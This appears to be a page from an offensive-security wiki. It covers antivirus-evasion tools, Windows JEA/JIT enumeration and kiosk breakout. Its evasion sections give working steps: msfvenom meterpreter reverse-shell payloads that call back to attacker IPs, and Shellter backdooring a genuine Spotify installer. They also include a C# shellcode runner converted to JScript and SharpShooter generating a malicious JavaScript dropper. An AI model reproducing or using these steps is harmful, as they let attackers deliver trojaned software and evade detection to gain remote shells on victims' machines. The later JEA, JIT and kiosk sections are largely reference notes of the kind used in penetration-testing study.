There are several tools that help pack a payload that bypasses AV. Depending on your C2 framework, most of shellcode generated is burned already. Some of these tools can help evade detection.&lt;br /&gt;
&lt;br /&gt;
AV bypass can be tedious and some of these tools might help.&lt;br /&gt;
&lt;br /&gt;
=== Theory ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On-Disk Evasion&lt;br /&gt;
- Packers&lt;br /&gt;
- Obfuscator&lt;br /&gt;
- Crypters&lt;br /&gt;
- Software protectors&lt;br /&gt;
# In-memory Evasion&lt;br /&gt;
- Remote Process Memory Injection&lt;br /&gt;
- Reflective DLL Injection&lt;br /&gt;
- Process Hollowing&lt;br /&gt;
- Inline hooking&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BallisKit - MacroPack ===&lt;br /&gt;
&lt;br /&gt;
[https://www.balliskit.com/ BallisKit]&lt;br /&gt;
&lt;br /&gt;
MacroPack Pro is a Swiss-army knife for initial vector generation. It helps Red Teams automate, weaponize and deliver payloads while offering robust defense bypass techniques.&lt;br /&gt;
&lt;br /&gt;
MacroPack Pro supports the latest trend in payload generation such as LNK, URL, ClickOnce, HTML smuggling. It can be used to generate or trojan classic Office formats (Word, Excel, PowerPoint, Publisher, OneNote, Visio, MS Project). If you are looking at Office alternatives, use MacroPack to generate scripts such as HTA, WSF, SCT, VBS, MSI, etc.&lt;br /&gt;
&lt;br /&gt;
MacroPack Pro is compatible with common offensive frameworks and tools such as Sliver, Cobalt Strike, Mythic, Empire, among others.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
The free version of MacroPack is available here, though it won&#039;t be as good as bypassing AV.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/sevagas/macro_pack&lt;br /&gt;
# Must be installed from Windows machine&lt;br /&gt;
# Some example commands from github. All other commands are available on Github&lt;br /&gt;
# Obfuscate the vba file generated by msfvenom and puts result in a new VBA file.&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba&lt;br /&gt;
# List all supported file formats&lt;br /&gt;
macro_pack.exe --listformats&lt;br /&gt;
# List all available templates&lt;br /&gt;
macro_pack.exe --listtemplates&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mgeeky&#039;s tools ====&lt;br /&gt;
&lt;br /&gt;
Mgeeky have created some very great tools, some free, some cost money and require sponsoring on GitHub.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/sponsors/mgeeky Sponsor @mgeeky on GitHub Sponsors]&lt;br /&gt;
&lt;br /&gt;
[https://binary-offensive.com/software binary-offensive | Offensive IT Security]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Some of my private repositories shared with my Sponsors include:&lt;br /&gt;
MSISnatcher - MSI backdooring companion&lt;br /&gt;
Polonium - AV/EDR benchmarking tool, advanced shellcode loader&lt;br /&gt;
Bloated-EXE-in-LNK&lt;br /&gt;
SharpPRT - PRT extraction helper&lt;br /&gt;
cobalt-initial-opsec - headless agressor script&lt;br /&gt;
BOF.NET - (my fork) stealthily run .NET assemblies in-process&lt;br /&gt;
Carbuncle - (my fork) All you ever wanted from Outlook during RT&lt;br /&gt;
azure-functions-redirector&lt;br /&gt;
digitalocean-app-redirector&lt;br /&gt;
MyStayKit&lt;br /&gt;
Anonymize_CS_Logs&lt;br /&gt;
mgeeky-gists&lt;br /&gt;
and more..&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shellter ===&lt;br /&gt;
&lt;br /&gt;
 Shellter is a dynamic shellcode injection tool and one of the most popular free tools capable of bypassing antivirus software.&lt;br /&gt;
&lt;br /&gt;
 It uses a number of novel and advanced techniques to essentially backdoor a valid and non-malicious executable file with a malicious shellcode payload.&lt;br /&gt;
&lt;br /&gt;
The free version only works for x86, not x64.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
sudo apt install shellter&lt;br /&gt;
apt install wine&lt;br /&gt;
# If error&lt;br /&gt;
dpkg --add-architecture i386 &amp;amp;&amp;amp; apt-get update &amp;amp;&amp;amp;&lt;br /&gt;
apt-get install wine32:i386&lt;br /&gt;
# Start&lt;br /&gt;
shellter&lt;br /&gt;
# Download a valid .exe file, ex spotify installer and load it into shellter.&lt;br /&gt;
/home/aghanim/downloads/SpotifySetup.exe&lt;br /&gt;
# Choose a payload from the list.&lt;br /&gt;
L&lt;br /&gt;
1&lt;br /&gt;
SET LHOST: IP&lt;br /&gt;
SET LPORT: PORT&lt;br /&gt;
# After shellter finishes injecting shellcode in the binary, transfer it to target and execute. You&#039;ll get a shell back but it will die when the installer is finished and the process is closed. To bypass this, we can use meterpreter &amp;quot;migrate&amp;quot;.&lt;br /&gt;
set AutoRunScript post/windows/manage/migrate&lt;br /&gt;
-----------------------&lt;br /&gt;
# You can also set custom payload&lt;br /&gt;
# First generate a binary file with msfvenom. -e is the encoding we&#039;re using, and -i is the number of iterations. (The number of times to encode the payload)&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.4 LPORT=80 -e x86/shikata_ga_nai -i 7 -f raw &amp;gt; met.bin&lt;br /&gt;
# Start shellter&lt;br /&gt;
Choose Operation Mode - Auto/Manual (A/M/H): A&lt;br /&gt;
PE Target: /home/kali/poultry/whoami.exe&lt;br /&gt;
**********&lt;br /&gt;
* Backup *&lt;br /&gt;
**********&lt;br /&gt;
Backup: Shellter_Backups\whoami.exe&lt;br /&gt;
...&lt;br /&gt;
Filtering Time Approx: 0.0024 mins.&lt;br /&gt;
Enable Stealth Mode? (Y/N/H): N&lt;br /&gt;
************&lt;br /&gt;
* Payloads *&lt;br /&gt;
************&lt;br /&gt;
[1] Meterpreter_Reverse_TCP   [stager]&lt;br /&gt;
[2] Meterpreter_Reverse_HTTP  [stager]&lt;br /&gt;
[3] Meterpreter_Reverse_HTTPS [stager]&lt;br /&gt;
[4] Meterpreter_Bind_TCP      [stager]&lt;br /&gt;
[5] Shell_Reverse_TCP         [stager]&lt;br /&gt;
[6] Shell_Bind_TCP            [stager]&lt;br /&gt;
[7] WinExec&lt;br /&gt;
Use a listed payload or custom? (L/C/H): C&lt;br /&gt;
Select Payload: /home/kali/poultry/met.bin&lt;br /&gt;
Is this payload a reflective DLL loader? (Y/N/H): N&lt;br /&gt;
****************&lt;br /&gt;
* Payload Info *&lt;br /&gt;
****************&lt;br /&gt;
...&lt;br /&gt;
Injection: Verified!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Veil Framework ===&lt;br /&gt;
&lt;br /&gt;
Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions. It replaces the package veil-evasion.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
# https://github.com/Veil-Framework/Veil&lt;br /&gt;
apt -y install veil&lt;br /&gt;
/usr/share/veil/config/setup.sh --force --silent&lt;br /&gt;
# If error with (wine) python pip peefile version fix with this&lt;br /&gt;
vim /usr/share/veil/config/setup.sh&lt;br /&gt;
Change line 587 to:&lt;br /&gt;
sudo -u &amp;quot;${trueuser}&amp;quot; WINEPREFIX=&amp;quot;${winedir}&amp;quot; wine &amp;quot;${winedir}/drive_c/Python34/python.exe&amp;quot; &amp;quot;-m&amp;quot; &amp;quot;pip&amp;quot; &amp;quot;install&amp;quot; &amp;quot;-Iv&amp;quot; &amp;quot;pefile==2019.4.18&amp;quot;&lt;br /&gt;
Then, run # veil --setup again.&lt;br /&gt;
&lt;br /&gt;
# Start veil&lt;br /&gt;
veil&lt;br /&gt;
# or&lt;br /&gt;
/usr/share/veil/Veil.py&lt;br /&gt;
# Available Commands:&lt;br /&gt;
        exit                    Completely exit Veil&lt;br /&gt;
        info                    Information on a specific tool&lt;br /&gt;
        list                    List available tools&lt;br /&gt;
        options                 Show Veil configuration&lt;br /&gt;
        update                  Update Veil&lt;br /&gt;
        use                     Use a specific tool&lt;br /&gt;
&lt;br /&gt;
# Generate a powershell script (bat file) for evasion&lt;br /&gt;
veil &amp;gt; use evasion&lt;br /&gt;
# List payloads&lt;br /&gt;
veil &amp;gt; list&lt;br /&gt;
# Use powershell rev tcp payload&lt;br /&gt;
veil/evasion &amp;gt; use powershell/meterpreter/rev_tcp.py&lt;br /&gt;
# List options&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: options&lt;br /&gt;
# Generate payload&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: generate&lt;br /&gt;
&lt;br /&gt;
# From pic below, payload is in /var/lib/veil/output/source/ folder&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Ebowla ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/Genetic-Malware/Ebowla&lt;br /&gt;
# Use it to obfuscate payloads like JuicyPotato or other exploits.&lt;br /&gt;
# Quick demo&lt;br /&gt;
https://www.youtube.com/watch?v=rRm3O7w5GHg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Just Enought Administration (JEA) ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;JEA Purpose&#039;&#039;&#039;: Provides specific users/groups just enough permissions to execute their tasks without compromising security.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;JEA Function&#039;&#039;&#039;: Allows delegated administration via PowerShell. Applicable to both servers and clients.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;JEA Benefits&#039;&#039;&#039;:&lt;br /&gt;
Reduces the number of administrators.&lt;br /&gt;
&lt;br /&gt;
* Limits administrator capabilities.&lt;br /&gt;
&lt;br /&gt;
* Provides logging to monitor actions of JEA enabled users.&lt;br /&gt;
&lt;br /&gt;
* JEA sessions typically run in RestrictedRemoteServer mode, with limited commands.&lt;br /&gt;
&lt;br /&gt;
* Files and commands executed in a JEA session might run with administrative privileges.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Session Configuration File is a file that has the .pssc extension. The below listing shows a default file created with the New-PSSessionConfigurationFile command in PowerShell.&lt;br /&gt;
## Default PSSession Configuration file&lt;br /&gt;
1 @{&lt;br /&gt;
2&lt;br /&gt;
3 # Version number of the schema used for this document&lt;br /&gt;
4 SchemaVersion = &#039;2.0.0.0&#039;&lt;br /&gt;
5&lt;br /&gt;
6 # ID used to uniquely identify this document&lt;br /&gt;
7 GUID = &#039;e4f7e55c-57dc-41b2-bab0-ae4bb209fbe9&#039;&lt;br /&gt;
8&lt;br /&gt;
9 # Author of this document&lt;br /&gt;
10 Author = &#039;administrator&#039;&lt;br /&gt;
11&lt;br /&gt;
12 # Description of the functionality provided by these settings&lt;br /&gt;
13 # Description = &#039;&#039;&lt;br /&gt;
14&lt;br /&gt;
15 # Session type defaults to apply for this session configuration. Can be &#039;RestrictedRemoteServer&#039; (recommended), &#039;Empty&#039;, or 16 &#039;Default&#039;&lt;br /&gt;
16 SessionType = &#039;Default&#039;&lt;br /&gt;
17&lt;br /&gt;
18 # Directory to place session transcripts for this session configuration&lt;br /&gt;
19 # TranscriptDirectory = &#039;C:\Transcripts\&#039;&lt;br /&gt;
20&lt;br /&gt;
21 # Whether to run this session configuration as the machine&#039;s (virtual) administrator account&lt;br /&gt;
22 # RunAsVirtualAccount = $true&lt;br /&gt;
23&lt;br /&gt;
24 # Scripts to run when applied to a session&lt;br /&gt;
25 # ScriptsToProcess = &#039;C:\ConfigData\InitScript1.ps1&#039;, &#039;C:\ConfigData\InitScript2.ps1&#039;&lt;br /&gt;
26&lt;br /&gt;
27 # User roles (security groups), and the role capabilities that should be applied to them when applied to a session&lt;br /&gt;
28 # RoleDefinitions = @{ &#039;CONTOSO\SqlAdmins&#039; = @{ RoleCapabilities = &#039;SqlAdministration&#039; }; &#039;CONTOSO\SqlManaged&#039; = @{ RoleCapabilityFiles = &#039;C:\RoleCapability\SqlManaged.psrc&#039; }; 29 &#039;CONTOSO\ServerMonitors&#039; = @{ VisibleCmdlets = &#039;Get-Process&#039; } }&lt;br /&gt;
29&lt;br /&gt;
30 }&lt;br /&gt;
&lt;br /&gt;
# Enumerate commands. The command below will tell you what kind of commands you&#039;re allowed to run.&lt;br /&gt;
Get-Command&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Just-In-Time Access (JIT) ==&lt;br /&gt;
&lt;br /&gt;
* JIT is a security feature that provides temporary, limited administrative access to resources. Reduces the risk associated with permanent administrative privileges.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Use Case&#039;&#039;&#039;:&lt;br /&gt;
User needs to log in and perform maintenance requiring administrative privileges.&lt;br /&gt;
&lt;br /&gt;
* Instead of giving permanent access, JIT allows for temporary administrative access.&lt;br /&gt;
&lt;br /&gt;
* After the set duration, access is automatically revoked.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Integration&#039;&#039;&#039;:&lt;br /&gt;
Active Directory + JIT = Needs Privileged Access Management Feature (PAM) to be enabled.&lt;br /&gt;
&lt;br /&gt;
* PAM writes specific attributes that can be enumerated.&lt;br /&gt;
&lt;br /&gt;
* Once PAM is enabled in AD, it can&#039;t be disabled.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Explotation usually requires approval from another user.&lt;br /&gt;
# Lets say I request access to a file server through the PAM. Unless there is an automatic approval, a user have to log in and accept my access.&lt;br /&gt;
# Thats why this is harder to enumerate and exploit, and is usually done in the later stages of an engagement.&lt;br /&gt;
# Enumerate&lt;br /&gt;
## First import the dll to memory&lt;br /&gt;
Import-Module Microsoft.ActiveDirectory.Management&lt;br /&gt;
# Then you can enumerate the Get-commands&lt;br /&gt;
Get-Command -Module Microsoft.ActiveDirectory.Management | Where-Object { $_.Name -like &amp;quot;Get-*&amp;quot; }&lt;br /&gt;
# Example output of PAM being enabled on AD.&lt;br /&gt;
Get-ADOptionalFeature -Filter *&lt;br /&gt;
...&lt;br /&gt;
FeatureGUID        :&lt;br /&gt;
RequiredDomainMode :&lt;br /&gt;
RequiredForestMode : Windows2016Forest&lt;br /&gt;
IsDisableable      : False&lt;br /&gt;
FeatureScope       : {ForestOrConfigurationSet}&lt;br /&gt;
DistinguishedName  : CN=Privileged Access Management Feature,CN=Optional Features,CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=corp,DC=com&lt;br /&gt;
Name               : Privileged Access Management Feature&lt;br /&gt;
ObjectClass        : msDS-OptionalFeature&lt;br /&gt;
ObjectGuid         :&lt;br /&gt;
PropertyNames      : {DistinguishedName, EnabledScopes, FeatureGUID, FeatureScope...}&lt;br /&gt;
AddedProperties    : {}&lt;br /&gt;
RemovedProperties  : {}&lt;br /&gt;
ModifiedProperties : {}&lt;br /&gt;
PropertyCount      : 10&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== JScript ==&lt;br /&gt;
&lt;br /&gt;
JScript is a scripting language used to make websites and Windows programs interactive and dynamic. It&#039;s similar to JavaScript.&lt;br /&gt;
&lt;br /&gt;
[https://en.wikipedia.org/wiki/JScript JScript - Wikipedia]&lt;br /&gt;
&lt;br /&gt;
=== DotNetToJscript ===&lt;br /&gt;
&lt;br /&gt;
If you get &amp;quot;This tool should only be run on v2 of the CLR&amp;quot; while trying to run the binary, look at the forum below.&lt;br /&gt;
&lt;br /&gt;
[https://forums.offsec.com/showthread.php?46639-DotNetToJScript-compilation&amp;amp;highlight=tool+run+CLR DotNetToJScript compilation (offsec.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&lt;br /&gt;
You could just comment off the code portion in Program.cs of DotNetToJScript project, where it checks the Environment.Version.Major != 2 and throws the error &amp;quot;This tool should only be run on v2 of the CLR&amp;quot;. The resulting .js file works just fine.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/tyranid/DotNetToJScript https://github.com/tyranid/DotNetToJScript]&lt;br /&gt;
&lt;br /&gt;
* Download DotNetToJscript.&lt;br /&gt;
&lt;br /&gt;
* Open the .sln&lt;br /&gt;
&lt;br /&gt;
* Compile both DotNetToJscript and ExampleAssembly&lt;br /&gt;
&lt;br /&gt;
* Run the command below.&lt;br /&gt;
&lt;br /&gt;
* Open demo.js&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo.js&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Testclass.cs&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# The below code is the ExampleAssembly.dll. You can change the code, but remember that the class-name and the public void name have to be the same in order for DotNetToJscript.exe to work.&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Windows.Forms;&lt;br /&gt;
[ComVisible(true)]&lt;br /&gt;
public class TestClass&lt;br /&gt;
{&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
    static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,&lt;br /&gt;
uint flAllocationType, uint flProtect);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,&lt;br /&gt;
    IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr&lt;br /&gt;
    lpThreadId);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
    public TestClass()&lt;br /&gt;
    {&lt;br /&gt;
        byte[] buf = new byte[460] {0xfc,0x48,...};&lt;br /&gt;
        int size = buf.Length;&lt;br /&gt;
        IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
        Marshal.Copy(buf, 0, addr, size);&lt;br /&gt;
        IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0,&lt;br /&gt;
        IntPtr.Zero);&lt;br /&gt;
        WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
    }&lt;br /&gt;
    public void RunProcess(string path)&lt;br /&gt;
    {&lt;br /&gt;
        Process.Start(path);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then run this command after the above is compiled&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
.\DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo1.js&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SharpShooter &amp;amp;SuperSharpsHooter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 https://github.com/mdsecactivebreach/SharpShooter.git&lt;br /&gt;
# Updated version&lt;br /&gt;
https://github.com/SYANiDE-/SuperSharpShooter&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If you have problems with SharpShooter, try this. SharpShooter have to be run from the SharpShooter directory for it to load the correct templates!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py&lt;br /&gt;
sudo python2 get-pip.py (sudo is neccesary)&lt;br /&gt;
sudo apt install python-setuptools&lt;br /&gt;
pip install jsmin==2.2.2 --ignore-installed&lt;br /&gt;
git clone https://github.com/mdsecactivebreach/SharpShooter.git&lt;br /&gt;
cd SharpShooter&lt;br /&gt;
python2 SharpShooter.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Generating a raw Meterpreter staged payload using msfvenom:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Create the payload:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f raw -o /var/www/html/shell.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Generating malicious Jscript file with SharpShooter:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Invoke the SharpShooter tool with appropriate parameters:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  sudo python SharpShooter.py --payload js --dotnetver 4 --stageless --rawscfile /var/www/html/shell.txt --output test&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Notes:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--payload js&amp;lt;/code&amp;gt;: This specifies a Jscript output format.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--dotnetver 4&amp;lt;/code&amp;gt;: Sets the targeted .NET framework version.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--stageless&amp;lt;/code&amp;gt;: Specifies in-memory execution of the Meterpreter shellcode. In SharpShooter, &amp;quot;stageless&amp;quot; refers to the method of transferring the entire Jscript payload.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--rawscfile&amp;lt;/code&amp;gt;: Specifies the file that contains our shellcode.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--output&amp;lt;/code&amp;gt;: Sets the output file name (excluding the file extension).&lt;br /&gt;
&lt;br /&gt;
== Kiosk Breakout ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/hardware-physical-access/escaping-from-gui-applications Escaping from KIOSKs - HackTricks]&lt;br /&gt;
&lt;br /&gt;
=== URIs (Uniform Resource Identifiers) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Used to access locally-stored pages and files.&lt;br /&gt;
file://&lt;br /&gt;
# Access to internal Chrome browser pages and settings.&lt;br /&gt;
chrome://&lt;br /&gt;
# File Transfer Protocol, used for transferring files over the Internet.&lt;br /&gt;
ftp://&lt;br /&gt;
# Used to open the default mail client and initiate composing an email.&lt;br /&gt;
mailto:&lt;br /&gt;
# SMB protocol, commonly used for local network file sharing.&lt;br /&gt;
smb://&lt;br /&gt;
# Embeds data like inline images directly into content.&lt;br /&gt;
data:&lt;br /&gt;
# Initiates a call using the designated telephone number.&lt;br /&gt;
tel:&lt;br /&gt;
# Executes JavaScript code from a URL or hyperlink.&lt;br /&gt;
javascript:&lt;br /&gt;
# Represents data formats like images or other binary data.&lt;br /&gt;
blob:&lt;br /&gt;
# Used by torrent clients to download files.&lt;br /&gt;
magnet:&lt;br /&gt;
# Starts an SSH session.&lt;br /&gt;
ssh:&lt;br /&gt;
# Real-Time Messaging Protocol for streaming content.&lt;br /&gt;
rtmp:&lt;br /&gt;
# Directory services protocol.&lt;br /&gt;
ldap:&lt;br /&gt;
# An older document retrieval protocol.&lt;br /&gt;
gopher:&lt;br /&gt;
# WebSockets for real-time communication.&lt;br /&gt;
ws:&lt;br /&gt;
# Secure WebSockets.&lt;br /&gt;
wss:&lt;br /&gt;
# Denotes the XMPP/Jabber messaging protocol.&lt;br /&gt;
xmpp:&lt;br /&gt;
# Accessing newsgroups.&lt;br /&gt;
news:&lt;br /&gt;
# Protocol for accessing newsgroups.&lt;br /&gt;
nntp:&lt;br /&gt;
# Common in VoIP services.&lt;br /&gt;
sip:&lt;br /&gt;
# Defines geographical coordinates.&lt;br /&gt;
geo:&lt;br /&gt;
# Represents Bitcoin addresses for transactions.&lt;br /&gt;
bitcoin:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows Kiosk Breakout ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Windows Explorer and Applications:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Liabilities:&#039;&#039;&#039;&lt;br /&gt;
Windows Explorer integration in apps can be a kiosk security issue.&lt;br /&gt;
&lt;br /&gt;
* Especially true for Internet Explorer, foundational for many kiosks.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Environment Variables:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Can be substituted for full file paths in browser-based kiosks.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Example:&#039;&#039;&#039; %APPDATA% → local folder for app data storage.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Notable Environment Variables:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
%ALLUSERSPROFILE%   →   C:\Documents and Settings\All Users&lt;br /&gt;
%APPDATA%           →   C:\Documents and Settings\Username\Application Data&lt;br /&gt;
%COMMONPROGRAMFILES%        →   C:\Program Files\Common Files&lt;br /&gt;
%COMMONPROGRAMFILES(x86)%   →   C:\Program Files (x86)\Common Files&lt;br /&gt;
%COMSPEC%           →   C:\Windows\System32\cmd.exe&lt;br /&gt;
%HOMEDRIVE%         →   C:\&lt;br /&gt;
%HOMEPATH%          →   C:\Documents and Settings\Username&lt;br /&gt;
%PROGRAMFILES%      →   C:\Program Files&lt;br /&gt;
%PROGRAMFILES(X86)% →   C:\Program Files (x86) (64-bit version only)&lt;br /&gt;
%SystemDrive%       →   C:\&lt;br /&gt;
%SystemRoot%        →   C:\Windows&lt;br /&gt;
%TEMP% &amp;amp; %TMP%      →   C:\Documents and Settings\Username\Local Settings\Temp&lt;br /&gt;
%USERPROFILE%       →   C:\Documents and Settings\Username&lt;br /&gt;
%WINDIR%            →   C:\Windows&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. UNC Paths:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Enter full UNC paths in user input boxes or file browsers.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Example: &#039;&#039;&#039;&amp;lt;code&amp;gt;\127.0.0.1\C$\Windows\System32&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Shell Commands:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use &amp;quot;shell:&amp;quot; shortcut in file browser dialogs.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Notable Shell Commands:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
shell:System                  →   Opens the system folder&lt;br /&gt;
shell:Common Start Menu       →   Opens the Public Start Menu folder&lt;br /&gt;
shell:Downloads               →   Opens the user&#039;s Downloads folder&lt;br /&gt;
shell:MyComputerFolder        →   Opens the “This PC” window&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Browser-Protocol Style Shortcuts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
